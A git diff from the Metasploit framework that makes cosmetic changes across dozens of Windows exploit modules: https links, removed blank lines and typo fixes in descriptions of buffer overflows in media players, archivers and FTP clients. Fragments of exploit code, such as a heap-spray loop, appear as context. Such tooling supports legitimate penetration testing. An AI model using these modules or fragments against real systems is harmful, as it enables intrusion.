   end
-
 end
diff --git a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb
index c9be17975b..5ec211957e 100644
--- a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb
+++ b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb
index 2a756a853d..479acb9142 100644
--- a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb
+++ b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb b/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb
index bcf80c1bfa..5e52af7b83 100644
--- a/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb
+++ b/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -213,7 +213,6 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(spd)
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/fileformat/sascam_get.rb b/modules/exploits/windows/fileformat/sascam_get.rb
index 38d0a078ce..2240d9ef9d 100644
--- a/modules/exploits/windows/fileformat/sascam_get.rb
+++ b/modules/exploits/windows/fileformat/sascam_get.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -96,5 +96,4 @@ for (#{var_i} = 0; #{var_i} < 8293; #{var_i}++) { #{rand8} = #{rand8} + unescape
     file_create(content)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/scadaphone_zip.rb b/modules/exploits/windows/fileformat/scadaphone_zip.rb
index dd3a9ba1ad..b0149245ad 100644
--- a/modules/exploits/windows/fileformat/scadaphone_zip.rb
+++ b/modules/exploits/windows/fileformat/scadaphone_zip.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -87,5 +87,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(zip.pack)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb b/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb
index 2cd14ff507..fd7b9107b8 100644
--- a/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb
+++ b/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -73,5 +73,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}' file ...")
     file_create(buffer)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/shaper_pdf_bof.rb b/modules/exploits/windows/fileformat/shaper_pdf_bof.rb
index 20fc0f278b..1d628f94e8 100644
--- a/modules/exploits/windows/fileformat/shaper_pdf_bof.rb
+++ b/modules/exploits/windows/fileformat/shaper_pdf_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,8 +15,8 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'            => 'PDF Shaper Buffer Overflow',
       'Description'     => %q{
           PDF Shaper is prone to a security vulnerability when processing PDF files.
-        The vulnerability appear when we use Convert PDF to Image and use a specially
-        crafted PDF file. This module has been tested successfully on Win Xp, Win 7,
+        The vulnerability appears when we use Convert PDF to Image and use a specially
+        crafted PDF file. This module has been tested successfully on Win XP, Win 7,
         Win 8, Win 10.
       },
       'License'         => MSF_LICENSE,
diff --git a/modules/exploits/windows/fileformat/somplplayer_m3u.rb b/modules/exploits/windows/fileformat/somplplayer_m3u.rb
index c51890a196..eb359fbb51 100644
--- a/modules/exploits/windows/fileformat/somplplayer_m3u.rb
+++ b/modules/exploits/windows/fileformat/somplplayer_m3u.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb b/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb
index 3af0f857a7..b0c2df9e45 100644
--- a/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb
+++ b/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb
index cbb882ba32..d223a757ad 100644
--- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb
+++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb
index 4e1fc88839..41f46b13aa 100644
--- a/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb
+++ b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'    => 'Total Video Player 1.3.1 (Settings.ini) - SEH Buffer Overflow',
       'Description'  => %q{
         This module exploits a buffer overflow in Total Video Player 1.3.1. The vulnerability
-        occurs opening malformed Settings.ini file e.g."C:\Program Files\Total Video Player\".
+        occurs opening malformed Settings.ini file e.g. "C:\Program Files\Total Video Player\".
         This module has been tested successfully on Windows WinXp-Sp3-EN, Windows 7, and Windows 8.
       },
       'License'    => MSF_LICENSE,
diff --git a/modules/exploits/windows/fileformat/tugzip.rb b/modules/exploits/windows/fileformat/tugzip.rb
index 7557189656..72b4cc22df 100644
--- a/modules/exploits/windows/fileformat/tugzip.rb
+++ b/modules/exploits/windows/fileformat/tugzip.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -125,5 +125,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(zip.pack)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ultraiso_ccd.rb b/modules/exploits/windows/fileformat/ultraiso_ccd.rb
index 0f07777cf8..0e19dc5d72 100644
--- a/modules/exploits/windows/fileformat/ultraiso_ccd.rb
+++ b/modules/exploits/windows/fileformat/ultraiso_ccd.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -215,5 +215,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create('')
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ultraiso_cue.rb b/modules/exploits/windows/fileformat/ultraiso_cue.rb
index bc96058f10..955130abf5 100644
--- a/modules/exploits/windows/fileformat/ultraiso_cue.rb
+++ b/modules/exploits/windows/fileformat/ultraiso_cue.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -120,5 +120,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create('')
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ursoft_w32dasm.rb b/modules/exploits/windows/fileformat/ursoft_w32dasm.rb
index a59baa33ff..6fc3454f39 100644
--- a/modules/exploits/windows/fileformat/ursoft_w32dasm.rb
+++ b/modules/exploits/windows/fileformat/ursoft_w32dasm.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -256,5 +256,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/varicad_dwb.rb b/modules/exploits/windows/fileformat/varicad_dwb.rb
index dd3b34025a..07e91bad2d 100644
--- a/modules/exploits/windows/fileformat/varicad_dwb.rb
+++ b/modules/exploits/windows/fileformat/varicad_dwb.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -77,5 +77,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(header + sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/videocharge_studio.rb b/modules/exploits/windows/fileformat/videocharge_studio.rb
index 7fef0108b2..8a27f35a13 100644
--- a/modules/exploits/windows/fileformat/videocharge_studio.rb
+++ b/modules/exploits/windows/fileformat/videocharge_studio.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/videolan_tivo.rb b/modules/exploits/windows/fileformat/videolan_tivo.rb
index 39507ffafd..b13ef724a6 100644
--- a/modules/exploits/windows/fileformat/videolan_tivo.rb
+++ b/modules/exploits/windows/fileformat/videolan_tivo.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -85,5 +85,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(ty)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/videospirit_visprj.rb b/modules/exploits/windows/fileformat/videospirit_visprj.rb
index b852583ca3..d1bfe5c5e1 100644
--- a/modules/exploits/windows/fileformat/videospirit_visprj.rb
+++ b/modules/exploits/windows/fileformat/videospirit_visprj.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -237,5 +237,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(filecontent)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/visio_dxf_bof.rb b/modules/exploits/windows/fileformat/visio_dxf_bof.rb
index 63cbc7be28..31d8e96362 100644
--- a/modules/exploits/windows/fileformat/visio_dxf_bof.rb
+++ b/modules/exploits/windows/fileformat/visio_dxf_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 
 class MetasploitModule < Msf::Exploit::Remote
@@ -33,7 +33,7 @@ class MetasploitModule < Msf::Exploit::Remote
           [ 'OSVDB', '64446' ],
           [ 'BID', '39836' ],
           [ 'URL', 'http://www.coresecurity.com/content/ms-visio-dxf-buffer-overflow' ],
-          [ 'URL', 'http://www.exploit-db.com/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/' ],
+          [ 'URL', 'https://www.exploit-db.com/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/' ],
         ],
       'DefaultOptions' =>
         {
@@ -118,5 +118,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating #{datastore['FILENAME']} ...")
     file_create(content)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/visiwave_vwr_type.rb b/modules/exploits/windows/fileformat/visiwave_vwr_type.rb
index 3f34f84b2e..90ac34302f 100644
--- a/modules/exploits/windows/fileformat/visiwave_vwr_type.rb
+++ b/modules/exploits/windows/fileformat/visiwave_vwr_type.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
         execution.  A patch is available at visiwave.com; the fix is done by XORing the return value as
         null if no match is found, and then it is validated before use.
 
-        NOTE: During installation, the application will register two file handle's, VWS and VWR and allows a
+        NOTE: During installation, the application will register two file handles, VWS and VWR, which allows a
         victim user to 'double click' the malicious VWR file and execute code.  This module was also built
         to bypass ASLR and DEP.
       },
@@ -125,5 +125,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}'...")
     file_create(vwr_data)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb b/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb
index 43f971acdf..d1221bd49a 100644
--- a/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb
+++ b/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -305,5 +305,4 @@ EOS
     fail_with(Failure::Unknown, "Unable to locate key: \"#{key}\"") if not rvas[key]
     rvas['BaseAddress'] + rvas[key]
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/vlc_realtext.rb b/modules/exploits/windows/fileformat/vlc_realtext.rb
index 7e60111c55..f3f0dc0ce7 100644
--- a/modules/exploits/windows/fileformat/vlc_realtext.rb
+++ b/modules/exploits/windows/fileformat/vlc_realtext.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/vlc_smb_uri.rb b/modules/exploits/windows/fileformat/vlc_smb_uri.rb
index b270caa41a..806c8bc757 100644
--- a/modules/exploits/windows/fileformat/vlc_smb_uri.rb
+++ b/modules/exploits/windows/fileformat/vlc_smb_uri.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack-based buffer overflow in the Win32AddConnection
-        function of the VideoLAN VLC media player. Versions 0.9.9 throught 1.0.1 are
+        function of the VideoLAN VLC media player. Versions 0.9.9 through 1.0.1 are
         reportedly affected.
 
         This vulnerability is only present in Win32 builds of VLC.
@@ -114,5 +114,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/vlc_webm.rb b/modules/exploits/windows/fileformat/vlc_webm.rb
index db8ce9f0d4..f0da366f03 100644
--- a/modules/exploits/windows/fileformat/vlc_webm.rb
+++ b/modules/exploits/windows/fileformat/vlc_webm.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/vuplayer_cue.rb b/modules/exploits/windows/fileformat/vuplayer_cue.rb
index 5275aa7590..dd0167afe8 100644
--- a/modules/exploits/windows/fileformat/vuplayer_cue.rb
+++ b/modules/exploits/windows/fileformat/vuplayer_cue.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,8 +12,8 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'VUPlayer CUE Buffer Overflow',
       'Description'    => %q{
-          This module exploits a stack over flow in VUPlayer <= 2.49. When
-        the application is used to open a specially crafted cue file, an buffer is overwritten allowing
+          This module exploits a stack based overflow in VUPlayer <= 2.49. When
+        the application is used to open a specially crafted cue file, a buffer is overwritten allowing
         for the execution of arbitrary code.
       },
       'License'        => MSF_LICENSE,
@@ -70,5 +70,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(cue)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/vuplayer_m3u.rb b/modules/exploits/windows/fileformat/vuplayer_m3u.rb
index 1816c7c963..0979f5cfb7 100644
--- a/modules/exploits/windows/fileformat/vuplayer_m3u.rb
+++ b/modules/exploits/windows/fileformat/vuplayer_m3u.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/watermark_master.rb b/modules/exploits/windows/fileformat/watermark_master.rb
index a925b26949..6fea25aa9d 100644
--- a/modules/exploits/windows/fileformat/watermark_master.rb
+++ b/modules/exploits/windows/fileformat/watermark_master.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/winamp_maki_bof.rb b/modules/exploits/windows/fileformat/winamp_maki_bof.rb
index 2fb289139d..de79640252 100644
--- a/modules/exploits/windows/fileformat/winamp_maki_bof.rb
+++ b/modules/exploits/windows/fileformat/winamp_maki_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,9 +15,9 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a stack based buffer overflow in Winamp 5.55. The flaw
         exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file,
-        where memmove is used with in a insecure way with user controlled data.
+        where memmove is used in an insecure way with user controlled data.
 
-        To exploit the vulnerability the attacker must convince the attacker to install the
+        To exploit the vulnerability the attacker must convince the victim to install the
         generated mcvcore.maki file in the "scripts" directory of the default "Bento" skin,
         or generate a new skin using the crafted mcvcore.maki file. The module has been
         tested successfully on Windows XP SP3 and Windows 7 SP1.
@@ -101,5 +101,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(maki)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/winrar_name_spoofing.rb b/modules/exploits/windows/fileformat/winrar_name_spoofing.rb
index beb12ff9ba..09e6dab681 100644
--- a/modules/exploits/windows/fileformat/winrar_name_spoofing.rb
+++ b/modules/exploits/windows/fileformat/winrar_name_spoofing.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -67,5 +67,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}' file...")
     file_create(pack)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb b/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb
index 8e19eb011a..c8e9bee1a8 100644
--- a/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb
+++ b/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb
@@ -1,5 +1,5 @@
-#
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Wireshark wiretap/mpeg.c Stack Buffer Overflow',
       'Description'    => %q{
           This module triggers a stack buffer overflow in Wireshark <= 1.8.12/1.10.5
-          by generating an malicious file.)
+          by generating a malicious file.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
diff --git a/modules/exploits/windows/fileformat/wireshark_packet_dect.rb b/modules/exploits/windows/fileformat/wireshark_packet_dect.rb
index b6a6e5bcea..c7329c432b 100644
--- a/modules/exploits/windows/fileformat/wireshark_packet_dect.rb
+++ b/modules/exploits/windows/fileformat/wireshark_packet_dect.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/wm_downloader_m3u.rb b/modules/exploits/windows/fileformat/wm_downloader_m3u.rb
index a61f85a011..540b4847ca 100644
--- a/modules/exploits/windows/fileformat/wm_downloader_m3u.rb
+++ b/modules/exploits/windows/fileformat/wm_downloader_m3u.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -70,5 +70,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb
index 142b14cc4e..7aed54558e 100644
--- a/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb
+++ b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -67,5 +67,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb b/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb
index 55a82ea26e..e4e37f0fa3 100644
--- a/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb
+++ b/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb b/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb
index d7f0a2b47d..0ce1ed21b8 100644
--- a/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb
+++ b/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -80,5 +80,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}' file ...")
     file_create(buffer)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb b/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb
index d31d08257b..39b8b166cf 100644
--- a/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb
+++ b/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a stack-based buffer overflow in the Zinf Audio Player 2.2.1.
         An attacker must send the file to victim and the victim must open the file.
         Alternatively it may be possible to execute code remotely via an embedded
-        PLS file within a browser, when the PLS extention is registered to Zinf.
+        PLS file within a browser, when the PLS extension is registered to Zinf.
         This functionality has not been tested in this module.
       },
       'License'        => MSF_LICENSE,
@@ -65,5 +65,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(filepls)
 
   end
-
 end
diff --git a/modules/exploits/windows/firewall/blackice_pam_icq.rb b/modules/exploits/windows/firewall/blackice_pam_icq.rb
index 2e6264897b..3a28db4246 100644
--- a/modules/exploits/windows/firewall/blackice_pam_icq.rb
+++ b/modules/exploits/windows/firewall/blackice_pam_icq.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -128,5 +128,4 @@ class MetasploitModule < Msf::Exploit::Remote
       select(nil,nil,nil,5)
     }
   end
-
 end
diff --git a/modules/exploits/windows/firewall/kerio_auth.rb b/modules/exploits/windows/firewall/kerio_auth.rb
index 9cc177f694..203e676d5e 100644
--- a/modules/exploits/windows/firewall/kerio_auth.rb
+++ b/modules/exploits/windows/firewall/kerio_auth.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -65,5 +65,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/32bitftp_list_reply.rb b/modules/exploits/windows/ftp/32bitftp_list_reply.rb
index 72d911d5a4..d81d7812f6 100644
--- a/modules/exploits/windows/ftp/32bitftp_list_reply.rb
+++ b/modules/exploits/windows/ftp/32bitftp_list_reply.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -100,5 +100,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status(" - LIST sent, wait for user to double click file...")
       return
   end
-
 end
diff --git a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb
index e5f1d806fa..d07d522035 100644
--- a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb
+++ b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -124,5 +124,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/aasync_list_reply.rb b/modules/exploits/windows/ftp/aasync_list_reply.rb
index 266e3fc0fa..3c7bf559b9 100644
--- a/modules/exploits/windows/ftp/aasync_list_reply.rb
+++ b/modules/exploits/windows/ftp/aasync_list_reply.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -83,5 +83,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status(" - Payload sent")
       return
   end
-
 end
diff --git a/modules/exploits/windows/ftp/ability_server_stor.rb b/modules/exploits/windows/ftp/ability_server_stor.rb
index 49a66211ca..9bdead7678 100644
--- a/modules/exploits/windows/ftp/ability_server_stor.rb
+++ b/modules/exploits/windows/ftp/ability_server_stor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb b/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb
index 674ba26a55..efe7ca928d 100644
--- a/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb
+++ b/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/ftp/bison_ftp_bof.rb b/modules/exploits/windows/ftp/bison_ftp_bof.rb
index d6f0bd553e..7ff738c6b0 100644
--- a/modules/exploits/windows/ftp/bison_ftp_bof.rb
